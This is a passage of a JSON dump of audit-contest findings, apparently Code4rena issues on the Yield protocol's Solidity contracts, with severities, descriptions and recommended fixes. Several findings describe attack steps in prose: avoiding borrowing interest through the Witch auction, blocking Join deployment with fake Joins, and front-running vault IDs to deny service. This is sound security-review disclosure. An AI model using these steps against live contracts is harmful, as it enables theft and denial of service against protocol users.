"totalCostShareBenefit vs totalCostShareBenefits "}, {"title": "Improvements arctan", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/2", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-05-fairside-findings", "body": "Improvements arctan"}, {"title": "Users can avoid paying borrowing interest after the fyToken matures", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/71", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-05-yield-findings", "body": "# Handle shw # Vulnerability details ## Impact According to the protocol design, users have to pay borrowing interest when repaying the debt with underlying tokens after maturity. However, a user can give his vault to `Witch` and then buy all his collateral using underlying tokens to avoid paying the interest. Besides, this bug could make users less incentivized to repay the debt before maturity and hold the underlying tokens until liquidation. ## Proof of Concept 1. A user creates a new vault and opens a borrowing position as usual. 2. The maturity date passed. If the user wants to close the position using underlying tokens, he has to pay a borrowing interest (line 350 in `Ladle`), which is his debt multiplied by the rate accrual (line 373). 3. Now, the user wants to avoid paying the borrowing interest. He gives his vault to `Witch` by calling the function `batch` of `Ladle` with the operation `GIVE`. 4. He then calls the function `buy` of `Witch` with the corresponding `vaultId` to buy all his collateral using underlying tokens. In the last step, the `elapsed` time (line 61) is equal to the current timestamp since the vault is never grabbed by `Witch` before, and thus the auction time of the vault, `cauldron.auctions(vaultId)`, is 0 (the default mapping value). Therefore, the collateral is sold at a price of `balances_.art/balances_.ink` (line 74). The user can buy `balances_.ink` amount of collateral using `balances_.art` but not paying for borrowing fees. Referenced code: [Ladle.sol#L350](https://github.com/code-423n4/2021-05-yield/blob/main/contracts/Ladle.sol#L350) [Ladle.sol#L368-L377](https://github.com/code-423n4/2021-05-yield/blob/main/contracts/Ladle.sol#L368-L377) [Ladle.sol#L267-L272](https://github.com/code-423n4/2021-05-yield/blob/main/contracts/Ladle.sol#L267-L272) [Cauldron.sol#L234-L252](https://github.com/code-423n4/2021-05-yield/blob/main/contracts/Cauldron.sol#L234-L252) [Witch.sol#L61](https://github.com/code-423n4/2021-05-yield/blob/main/contracts/Witch.sol#L61) [Witch.sol#L74](https://github.com/code-423n4/2021-05-yield/blob/main/contracts/Witch.sol#L74) ## Recommended Mitigation Steps Do not allow users to `give` vaults to `Witch`. To be more careful, require `vaultOwners[vaultId]` and `cauldron.auctions(vaultId)` to be non-zero at the beginning of function `buy`. "}, {"title": "Possible DoS attack when creating `Joins` in `Wand`", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/70", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-05-yield-findings", "body": "# Handle shw # Vulnerability details ## Impact It is possible for an attacker to intendedly create a fake `Join` corresponding to a specific token beforehand to make `Wand` unable to deploy the actual `Join`, causing a DoS attack. ## Proof of Concept The address of `Join` corresponding to an underlying `asset` is determined as follows and thus unique: ```solidity Join join = new Join{salt: keccak256(abi.encodePacked(asset))}(); ``` Besides, the function `createJoin` in the contract `JoinFactory` is permissionless: Anyone can create the `Join` corresponding to the `asset`. An attacker could then deploy a large number of `Joins` with different common underlying assets (e.g., DAI, USDC, ETH) before the `Wand` deploying them. The attempt of deploying these `Joins` by `Wand` would fail since the attacker had occupied the desired addresses with fake `Joins`, resulting in a DoS attack. Moreover, the attacker can also perform DoS attacks on newly added assets: He monitors the mempool to find transactions calling the function `addAsset` of `Wand` and front-runs them to create the corresponding `Join` to make the benign transaction fail. Referenced code: [JoinFactory.sol#L64-L75](https://github.com/code-423n4/2021-05-yield/blob/main/contracts/JoinFactory.sol#L64-L75) [Wand.sol#L53](https://github.com/code-423n4/2021-05-yield/blob/main/contracts/Wand.sol#L53) ## Recommended Mitigation Steps Enable access control in `createJoin` (e.g., adding the `auth` modifier) and allow `Wand` to call it. "}, {"title": "User can redeem more tokens by artificially increasing the chi accrual", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/69", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-05-yield-findings", "body": "User can redeem more tokens by artificially increasing the chi accrual"}, {"title": "Using stale cToken exchange rate", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/68", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-05-yield-findings", "body": "Using stale cToken exchange rate"}, {"title": "Unnecessary `unchecked` keyword is used in `FYToken`", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/67", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-05-yield-findings", "body": "# Handle shw # Vulnerability details ## Impact At line 172 in the contract `FYToken`, the `unchecked` keyword is unnecessary since no arithmetic operation is involved. ## Proof of Concept Referenced code: [FYToken.sol#L172](https://github.com/code-423n4/2021-05-yield/blob/main/contracts/FYToken.sol#L172) ## Recommended Mitigation Steps Consider removing the `unchecked` keyword. "}, {"title": "In method _update on Pool.sol - Divide before multiply", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/61", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-05-yield-findings", "body": "# Handle a_delamo # Vulnerability details ## Impact In the Pool.sol contract there is the following code: ``` function _update( uint128 baseBalance, uint128 fyBalance, uint112 _baseCached, uint112 _fyTokenCached ) private { .... cumulativeBalancesRatio += (scaledFYTokenCached / _baseCached) * timeElapsed; .... } ``` The multiplication should be always placed at the end to avoid miscalculations like the following one: ``` a = (b/d)*c 0 = (5/10)*2 a = (b * c)/ 2 1 = (5 * 2)/10 ``` "}, {"title": "Gas optimizations - using external over public ", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/60", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-05-yield-findings", "body": "# Handle a_delamo # Vulnerability details ## Impact The following methods could be external instead of public ``` level(bytes12) should be declared external: - Cauldron.level(bytes12) (contracts/Cauldron.sol#513-521) mature(bytes6) should be declared external: - Cauldron.mature(bytes6) (contracts/Cauldron.sol#524-532) accrual(bytes6) should be declared external: - Cauldron.accrual(bytes6) (contracts/Cauldron.sol#546-553) setFlashFeeFactor(uint256) should be declared external: - Join.setFlashFeeFactor(uint256) (contracts/Join.sol#33-36) maxFlashLoan(address) should be declared external: - Join.maxFlashLoan(address) (contracts/Join.sol#90-97) flashFee(address,uint256) should be declared external: - Join.flashFee(address,uint256) (contracts/Join.sol#105-113) flashLoan(IERC3156FlashBorrower,address,uint256,bytes) should be declared external: - Join.flashLoan(IERC3156FlashBorrower,address,uint256,bytes) (contracts/Join.sol#132-151) setFee(uint256) should be declared external: - Ladle.setFee(uint256) (contracts/Ladle.sol#102-105) addAsset(bytes6,address) should be declared external: - Wand.addAsset(bytes6,address) (contracts/Wand.sol#49-61) makeBase(bytes6,IMultiOracleGov,address,address) should be declared external: - Wand.makeBase(bytes6,IMultiOracleGov,address,address) (contracts/Wand.sol#65-78) makeIlk(bytes6,bytes6,IMultiOracleGov,address,uint32,uint96,uint24,uint8) should be declared external: - Wand.makeIlk(bytes6,bytes6,IMultiOracleGov,address,uint32,uint96,uint24,uint8) (contracts/Wand.sol#81-94) addSeries(bytes6,bytes6,uint32,bytes6[],string,string) should be declared external: - Wand.addSeries(bytes6,bytes6,uint32,bytes6[],string,string) (contracts/Wand.sol#98-154) setAuctionTime(uint128) should be declared external: - Witch.setAuctionTime(uint128) (contracts/Witch.sol#41-44) setInitialProportion(uint128) should be declared external: - Witch.setInitialProportion(uint128) (contracts/Witch.sol#47-51) grab(bytes12) should be declared external: - Witch.grab(bytes12) (contracts/Witch.sol#54-59) buy(bytes12,uint128,uint128) should be declared external: - Witch.buy(bytes12,uint128,uint128) (contracts/Witch.sol#62-99) mint(address,uint256) should be declared external: - DAIMock.mint(address,uint256) (contracts/mocks/DAIMock.sol#36-38) mint(address,uint256) should be declared external: - ERC20Mock.mint(address,uint256) (contracts/mocks/ERC20Mock.sol#11-13) mint(address,uint256) should be declared external: - RestrictedERC20Mock.mint(address,uint256) (contracts/mocks/RestrictedERC20Mock.sol#12-14) burn(address,uint256) should be declared external: - RestrictedERC20Mock.burn(address,uint256) (contracts/mocks/RestrictedERC20Mock.sol#17-19) pull(address,uint256) should be declared external: - GemJoinMock.pull(address,uint256) (contracts/mocks/TLMMock.sol#14-16) mint(address,uint256) should be declared external: - USDCMock.mint(address,uint256) (contracts/mocks/USDCMock.sol#13-15) withdraw(uint256) should be declared external: - WETH9Mock.withdraw(uint256) (contracts/mocks/WETH9Mock.sol#21-26) totalSupply() should be declared external: - WETH9Mock.totalSupply() (contracts/mocks/WETH9Mock.sol#28-30) latestRoundData() should be declared external: - ChainlinkAggregatorV3Mock.latestRoundData() (contracts/mocks/oracles/chainlink/ChainlinkAggregatorV3Mock.sol#22-34) exchangeRateCurrent() should be declared external: - CTokenChiMock.exchangeRateCurrent() (contracts/mocks/oracles/compound/CTokenChiMock.sol#12-14) tickSpacing() should be declared external: - UniswapV3PoolMock.tickSpacing() (contracts/mocks/oracles/uniswap/UniswapV3PoolMock.sol#27-29) maxLiquidityPerTick() should be declared external: - UniswapV3PoolMock.maxLiquidityPerTick() (contracts/mocks/oracles/uniswap/UniswapV3PoolMock.sol#31-33) setSources(bytes6[],bytes6[],address[]) should be declared external: - ChainlinkMultiOracle.setSources(bytes6[],bytes6[],address[]) (contracts/oracles/chainlink/ChainlinkMultiOracle.sol#56-68) peek(bytes32,bytes32,uint256) should be declared external: - ChainlinkMultiOracle.peek(bytes32,bytes32,uint256) (contracts/oracles/chainlink/ChainlinkMultiOracle.sol#105-113) - CompoundMultiOracle.peek(bytes32,bytes32,uint256) (contracts/oracles/compound/CompoundMultiOracle.sol#78-86) - UniswapV3Oracle.peek(bytes32,bytes32,uint256) (contracts/oracles/uniswap/UniswapV3Oracle.sol#126-132) get(bytes32,bytes32,uint256) should be declared external: - ChainlinkMultiOracle.get(bytes32,bytes32,uint256) (contracts/oracles/chainlink/ChainlinkMultiOracle.sol#119-127) - CompoundMultiOracle.get(bytes32,bytes32,uint256) (contracts/oracles/compound/CompoundMultiOracle.sol#92-100) - UniswapV3Oracle.get(bytes32,bytes32,uint256) (contracts/oracles/uniswap/UniswapV3Oracle.sol#138-144) setSources(bytes6[],bytes6[],address[]) should be declared external: - CompoundMultiOracle.setSources(bytes6[],bytes6[],address[]) (contracts/oracles/compound/CompoundMultiOracle.sol#37-48) setSecondsAgo(uint32) should be declared external: - UniswapV3Oracle.setSecondsAgo(uint32) (contracts/oracles/uniswap/UniswapV3Oracle.sol#44-48) setSources(bytes6[],bytes6[],address[]) should be declared external: - UniswapV3Oracle.setSources(bytes6[],bytes6[],address[]) (contracts/oracles/uniswap/UniswapV3Oracle.sol#73-85) transferOwnership(address) should be declared external: - Ownable.transferOwnership(address) (contracts/utils/access/Ownable.sol#25-28) tokenSymbol(address) should be declared external: - SafeERC20Namer.tokenSymbol(address) (contracts/utils/token/SafeERC20Namer.sol#87-95) tokenName(address) should be declared external: - SafeERC20Namer.tokenName(address) (contracts/utils/token/SafeERC20Namer.sol#98-106) setParameter(bytes32,int128) should be declared external: - Pool.setParameter(bytes32,int128) (contracts/yieldspace/Pool.sol#135-141) getK() should be declared external: - Pool.getK() (contracts/yieldspace/Pool.sol#144-147) getG1() should be declared external: - Pool.getG1() (contracts/yieldspace/Pool.sol#150-152) getG2() should be declared external: - Pool.getG2() (contracts/yieldspace/Pool.sol#155-157) getCache() should be declared external: - Pool.getCache() (contracts/yieldspace/Pool.sol#175-185) fyTokenOutForBaseIn(uint128,uint128,uint128,uint128,int128,int128) should be declared external: - YieldMath.fyTokenOutForBaseIn(uint128,uint128,uint128,uint128,int128,int128) (contracts/yieldspace/YieldMath.sol#657-694) baseOutForFYTokenIn(uint128,uint128,uint128,uint128,int128,int128) should be declared external: - YieldMath.baseOutForFYTokenIn(uint128,uint128,uint128,uint128,int128,int128) (contracts/yieldspace/YieldMath.sol#707-744) fyTokenInForBaseOut(uint128,uint128,uint128,uint128,int128,int128) should be declared external: - YieldMath.fyTokenInForBaseOut(uint128,uint128,uint128,uint128,int128,int128) (contracts/yieldspace/YieldMath.sol#757-797) baseInForFYTokenOut(uint128,uint128,uint128,uint128,int128,int128) should be declared external: - YieldMath.baseInForFYTokenOut(uint128,uint128,uint128,uint128,int128,int128) (contracts/yieldspace/YieldMath.sol#811-848) ``` Here more information about the gas optimizations of external vs public: https://gus-tavo-guim.medium.com/public-vs-external-functions-in-solidity-b46bcf0ba3ac ## Tools Used Slither "}, {"title": "function build could explicitly check that seriesId is not 0", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/59", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-05-yield-findings", "body": "# Handle pauliax # Vulnerability details ## Impact It would be helpful if function build explicitly check that seriesId != bytes12(0). In practice, it is not possible to have a series with an id of 0, so this check will not pass: require (ilks[seriesId][ilkId] == true, \"Ilk not added to series\"); however, the error message is not very informative, thus I am suggesting adding an explicit check. ## Recommended Mitigation Steps require (seriesId != bytes12(0), \"Series id is zero\"); "}, {"title": "function redeem should return 'redeemed' amount", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/58", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-05-yield-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function redeem in contract FYToken should return 'redeemed' amount. There return value is not used anywhere, but it's a mistake that it assigns 'redeemed' but returns 'amount'. ## Recommended Mitigation Steps Remove return sentence or explicitly return 'redeemed'. "}, {"title": "external function transferToPool is pretty useless", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/57", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-05-yield-findings", "body": "# Handle pauliax # Vulnerability details ## Impact external function transferToPool is pretty useless and error-prone. It relies on the user not to leave these tokens in a separate tx, otherwise, it will just be feeding the bots. To use it directly users will have to write their own custom smart contract and chain actions. ## Recommended Mitigation Steps It would be better to remove this function and leave the only way to invoke it via a batch function. "}, {"title": "unnecessary store", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/56", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-05-yield-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact In the function batch of Ladle.sol, at the operation GIVE, the value of vault is stored and is deleted directly afterwards. So storing is unnecessary. Maybe the solidity compiler already optimizes this. ## Proof of Concept // https://github.com/code-423n4/2021-05-yield/blob/main/contracts/Ladle.sol#L228 function batch( } else if (operation == Operation.GIVE) { ... vault = _give(vaultId, to); delete vault; // Clear the cache, since the vault doesn't necessarily belong to msg.sender anymore ## Tools Used ## Recommended Mitigation Steps Remove the \" vault = \" "}, {"title": "Anyone can create a fake pool to trick unauthorized front-ends", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/55", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-05-yield-findings", "body": "Anyone can create a fake pool to trick unauthorized front-ends"}, {"title": "Multiple compiler versions allowing a wide range from 0.5.0 to >=0.8.0", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/54", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-05-yield-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Project uses multiple compiler versions with most specifying ^0.8.0, some specifying >=0.8.0 which allows breaking versions >= 0.9.0 in future if reused/redeployed, and some even allowing much older >= 0.5.0/0.6.0. The dangers of allowing multiple compilers across breaking revisions is that the security bug fixes and features might be different across different contracts introducing vulnerabilities or giving a false sense of security. For example, most contract use ^0.8.0 which means they have default checked arithmetic to prevent overflows/underflows without using OZ SafeMath. This doesn\u2019t apply to the few (inherited) contracts that may be compiled with <0.8.0 and have unchecked overflows/underflows. ## Proof of Concept ^0.8.0: https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Join.sol#L2 >= 0.8.0: https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/yieldspace/YieldMath.sol#L2 >= 0.5.0: https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/utils/token/SafeERC20Namer.sol#L3 >= 0.6.0: https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/utils/token/TransferHelper.sol#L4 ## Tools Used Manual Analysis ## Recommended Mitigation Steps 1. Update all contracts to use pragma solidity ^0.8.0 or better a fixed version like 0.8.4 2. Deploy with the same compiler version which was used for testing "}, {"title": "flashFeeFactor is uninitialized at declaration leading to zero-fee flash loans enabled by default\u2028", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/53", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-05-yield-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact flashFeeFactor is uninitialized at declaration and so zero initially until set by setFlashFeeFactor(). As indicated in one of the the explainer videos, the idea is to set this by default to uint256.max to disable flash loans by default. Currently, flash loans are enabled by default with a zero flash fee unless changed by setFlashFeeFactor(). ## Proof of Concept https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Join.sol#L26 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Join.sol#L32-L39 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Join.sol#L107-L110 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Join.sol#L117-L119 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Join.sol#L132 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Initialize at declaration with a reasonable value which could be uint256.max to disable flash loans by default. "}, {"title": "Incompatibility With Rebasing/Deflationary/Inflationary tokens", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/52", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-05-yield-findings", "body": "Incompatibility With Rebasing/Deflationary/Inflationary tokens"}, {"title": "Prevent the use of LOCK in setRoleAdmin to instead force the use of lockRole", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/50", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-05-yield-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The LOCK role is special in AccessControl because it has itself as the admin role (like ROOT) but no members. This means that calling setRoleAdmin(msg.sig, LOCK) means no one can grant/revoke that msg.sig role anymore and it gets locked irreversibly. This means it disables admin-based permissioning management of that role and therefore is very powerful in its impact. Given this, there is a special function lockRole() which is specifically meant to enforce LOCK as the admin for the specified role parameter. For all other role admin creations, the generic setRoleAdmin() may be used. However, setRoleAdmin() does not itself prevent specifying the use of LOCK as the admin. If this is accidentally used then it leads to disabling that role\u2019s admin management irreversibly similar to the lockRole() function. It is safer to force admins to use lockRole() as the only way to set admin to LOCK and prevent the use of LOCK as the adminRole parameter in setRoleAdmin(), because doing so will make the intention of the caller clearer as lockRole() clearly has that functionality specified in its name and that\u2019s the only thing it does. ## Proof of Concept Alice who is the admin for foo() wants to give the admin rights to Bob (0xFFFFFFF0) but instead of calling setRoleAdmin(foo.sig, 0xFFFFFFF0), she calls setRoleAdmin(foo.sig, 0xFFFFFFFF) where 0xFFFFFFFF is LOCK. This makes LOCK as the admin for foo() and prevents any further admin-based access control management for foo(). https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/utils/access/AccessControl.sol#L48 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/utils/access/AccessControl.sol#L129-L131 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/utils/access/AccessControl.sol#L235-L240 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/utils/access/AccessControl.sol#L165-L176 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Prevent the use of LOCK as the adminRole parameter in setRoleAdmin(). "}, {"title": "Missing reentrancy guard and contract existence check for modules\u2028", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/49", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-05-yield-findings", "body": "Missing reentrancy guard and contract existence check for modules\u2028"}, {"title": "Missing sender address check in receive() may lead to locked Ether", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/48", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-05-yield-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Add an address check in receive() of Ladle.sol to ensure the only address sending ETH being received in receive() is the Weth9 contract (similar to the check in PoolRouter.sol) for Ether withdrawal in _exitEther(). This will prevent stray Ether from being sent accidentally to this contract and getting locked. ## Proof of Concept https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Ladle.sol#L521-L522 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/yieldspace/PoolRouter.sol#L145-L148 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add an address check in receive() of Ladle.sol to ensure only Weth9 contract can send Ether to this contract. "}, {"title": "Return values of batch operations are ignored", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/46", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-05-yield-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Many batched operation functions return values but these are ignored by the caller batch(). While this may be acceptable for the front-end which picks up any state changes from such functions via emitted events, integrating protocols that make a call to batch() may require it to package and send back return values of all operations from the batch to react on-chain to the success/failure or other return values from such calls. Otherwise, they will be in the dark on the success/impact of batched operations they\u2019ve triggered. ## Proof of Concept https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Ladle.sol#L120-L245 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Ladle.sol#L250 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Ladle.sol#L258 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Ladle.sol#L284-L286 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Ladle.sol#L296-L298 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Ladle.sol#L326-L328 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Ladle.sol#L342-L344 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Ladle.sol#L382-L384 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Ladle.sol#L396-L398 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Ladle.sol#L410-L412 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Ladle.sol#L446-L448 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Ladle.sol#L462-L464 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Ladle.sol#L527-L529 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Ladle.sol#L539-L541 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Ladle.sol#L559-L561 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Ladle.sol#L588-L590 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Package and send back return values of all batched operations\u2019 functions to the caller of batch(). "}, {"title": "Violation of implicit constraints in batched operations may break protocol assumptions", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/45", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2021-05-yield-findings", "body": "Violation of implicit constraints in batched operations may break protocol assumptions"}, {"title": "Uninitialized or Incorrectly set auctionInterval may lead to liquidation engine livelock", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/44", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-05-yield-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The grab() function in Cauldron is used by the Witch or other liquidation engines to grab vaults that are under-collateralized. To prevent re-grabbing without sufficient time for auctioning collateral/debt, the logic uses an auctionInterval threshold to give a reasonable window to a liquidation engine that has grabbed the vault. The grab() function has a comment on Line 354: \u201c// Grabbing a vault protects it for a day from being grabbed by another liquidator. All grabbed vaults will be suddenly released on the 7th of February 2106, at 06:28:16 GMT. I can live with that.\u201d indicating a requirement of the auctionInterval being equal to one day. This can happen only if the auctionInterval is set appropriately. However, this state variable is uninitialized (defaults to 0) and depends on setAuctionInterval() being called with the appropriate auctionInterval_ value which is also not validated. Discussion with the project lead indicated that this comment is incorrect. Nevertheless, it is safer to initialize auctionInterval at declaration to a safe default value instead of the current 0 which will allow liquidation engines to re-grab vaults without making any progress on liquidation auction. It is also good to add a threshold check in setAuctionInterval() to ensure the new value meets/exceeds a reasonable default value. Rationale for Medium-severity impact: While the likelihood of this may be low, the impact is high because liquidation engines will keep re-grabbing vaults from each other and potentially result in liquidation bots entering a live-lock situation without making any progress on liquidation auctions. This will result in collateral being stuck and impact entire protocol\u2019s functioning. So, with low likelihood and high impact, the severity (according to OWASP) is medium. ## Proof of Concept Configuration recipe forgets to set the auctionInterval state variable by calling setAuctionInterval() and inadvertently leaves it at the default value of 0. Alternatively, it calls it but with a lower than intended/reasonable auction interval value. Both scenarios fail to give sufficient protection to liquidation engines from having their grabbed vaults re-grabbed without sufficient time for liquidation auctions. https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Cauldron.sol#L63 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Cauldron.sol#L108-L115 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Cauldron.sol#L354 ## Tools Used Manual Analysis ## Recommended Mitigation Steps 1. Initialize auctionInterval at declaration with a reasonable default value. 2. Add a threshold check in setAuctionInterval() to ensure the new value meets/exceeds a reasonable default value. "}, {"title": "Potential griefing with DoS by front-running vault creation with same vaultID", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/43", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-05-yield-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The vaultID for a new vault being built is required to be specified by the user building a vault via the build() function (instead of being assigned by the Cauldron/protocol). An attacker can observe a build() as part of a batch transaction in the mempool, identify the vaultID being requested and front-run that by constructing a malicious batch transaction with only the build operation with that same vaultID. The protocol would create a vault with that vaultID and assign attacker as its owner. More importantly, the valid batch transaction in the mempool which was front-run will later fail to create its vault because that vaultID already exists, as per the check on Line180 of Cauldron.sol. As a result, the valid batch transaction fails entirely because of the attacker front-running with the observed vaultID. While the attacker gains nothing except the ownership of an empty vault after spending the gas, this could grief the protocol\u2019s real users by preventing them from opening a vault and interacting with the protocol in any manner. Rationale for Medium-severity impact: While the likelihood of this may be low, the impact is high because valid vaults from the Yield front-end will never be successfully created and will lead to a DoS against the entire protocol\u2019s functioning. So, with low likelihood and high impact, the severity (according to OWASP) is medium. ## Proof of Concept Alice uses Yield\u2019s front-end to create a valid batch transaction. Evil Eve observes that in the mempool and identifies the vaultID of the vault being built by Alice. Eve submits her own batch transaction (without using the front-end) with only a build operation using Alice\u2019s vaultID. She uses a higher gas price to front-run Alice\u2019s transaction and get\u2019s the protocol to assign that vaultID to herself. Alice\u2019s batch transaction later fails because the vaultID she requested is already assigned to Eve. Eve can do this for any valid transaction to grief protocol users by wasting her gas to cause DoS. https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Cauldron.sol#L180 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Cauldron.sol#L173-L190 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Ladle.sol#L133-L135 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Ladle.sol#L249-L255 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Mitigate this DoS vector by having the Cauldron assign the vauldID instead of user specifying it in the build() operation. This would likely require the build() to be a separate non-batch transaction followed by other operations that use the vaultID assigned in build(). Consider the pros/cons of this approach because it will significantly affect the batching/caching logic in Ladle. Alternatively, consider adding validation logic in Ladle\u2019s batching to revert 